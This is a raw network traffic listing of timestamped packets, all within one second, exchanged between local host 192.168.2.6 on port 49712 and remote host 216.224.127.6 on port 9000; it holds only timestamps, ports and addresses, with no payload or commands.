Jul 25, 2024 13:23:24.780188084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780199051 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780220032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780251980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780266047 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780283928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780320883 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780338049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780369043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780400991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780417919 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780448914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780498981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780503988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780539989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780574083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780584097 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780812025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780844927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780862093 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780878067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780910015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780937910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.780961037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.780992985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781002998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781024933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781059027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781068087 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781092882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781140089 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781141043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781176090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781208038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781218052 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781240940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781272888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781284094 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781306028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781337023 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781348944 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781372070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781418085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.781838894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781872034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781904936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.781919956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.783094883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783123970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783148050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.783163071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783195972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783205986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.783230066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783273935 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.783411980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783443928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783478022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.783490896 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793509007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793565989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793598890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793608904 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793642044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793668032 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793678045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793711901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793726921 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793745041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793777943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793793917 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793828011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793860912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793880939 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793894053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793926954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793950081 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.793961048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.793992996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794009924 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794027090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794058084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794071913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794123888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794156075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794173956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794189930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794222116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794250011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794254065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794287920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794302940 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794665098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794698000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794718981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.794732094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.794781923 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.795339108 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.795372009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.795403957 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.795416117 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.795438051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.795490026 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813038111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813065052 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813077927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813090086 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813103914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813113928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813128948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813132048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813194036 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813322067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813333035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813343048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813354015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813365936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813378096 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813405037 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813416958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813430071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813442945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813483000 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813908100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813920021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813930988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.813960075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.813992023 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814042091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814053059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814064026 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814075947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814086914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814093113 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814097881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814109087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814121962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814131975 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814157009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814332962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814343929 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814354897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814379930 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814552069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814563036 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814574957 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814584970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814596891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814603090 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814608097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814620018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814630032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.814640999 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.814667940 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867182016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867202997 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867224932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867235899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867247105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867259026 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867269993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867289066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867322922 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867392063 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867544889 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867558002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867568970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867573977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867579937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867585897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867635965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867670059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867681980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867738008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867743015 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867750883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867763042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867774963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867791891 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867818117 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.867983103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.867994070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868007898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868026972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868033886 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868037939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868050098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868061066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868071079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868082047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868084908 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868129015 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868416071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868427038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868441105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868452072 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868463993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868463993 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868475914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868510008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868700981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868803024 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868813992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868824005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868863106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868885994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868896008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868918896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868931055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.868940115 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868964911 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.868992090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870667934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870682001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870702982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870745897 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.870770931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870780945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870803118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870815039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870824099 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.870836973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.870872021 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.881490946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881509066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881531954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881546974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881561041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881599903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881608963 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.881630898 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.881800890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881846905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.881936073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.881947994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882004023 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.882455111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882586956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882632971 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.882723093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882735014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882780075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.882857084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882869005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882890940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882901907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.882936954 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.883280993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.883292913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.883313894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.883332014 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.883409977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.883419991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.883446932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.886497021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.886513948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.886526108 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.886586905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.887574911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.887589931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.887610912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.887624025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.887648106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.887716055 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.900872946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.900922060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.900934935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.900993109 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901027918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901038885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901061058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901074886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901081085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901101112 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901159048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901169062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901190996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901206017 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901215076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901240110 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901278973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901320934 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901339054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901350021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901384115 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901582956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901689053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901700020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901721001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901736975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901742935 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901757956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901770115 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901777029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901791096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901797056 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901813030 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901828051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901834965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901854992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901865959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.901875973 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.901918888 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.902043104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902055025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902076006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902084112 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.902096987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902110100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902132988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902148008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902153969 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.902170897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902183056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.902189970 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.902205944 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.944555044 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959013939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959034920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959060907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959083080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959094048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959109068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959120989 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.959141970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.959151983 CEST	9000	49712	216.224.127.6	192.168.2.6
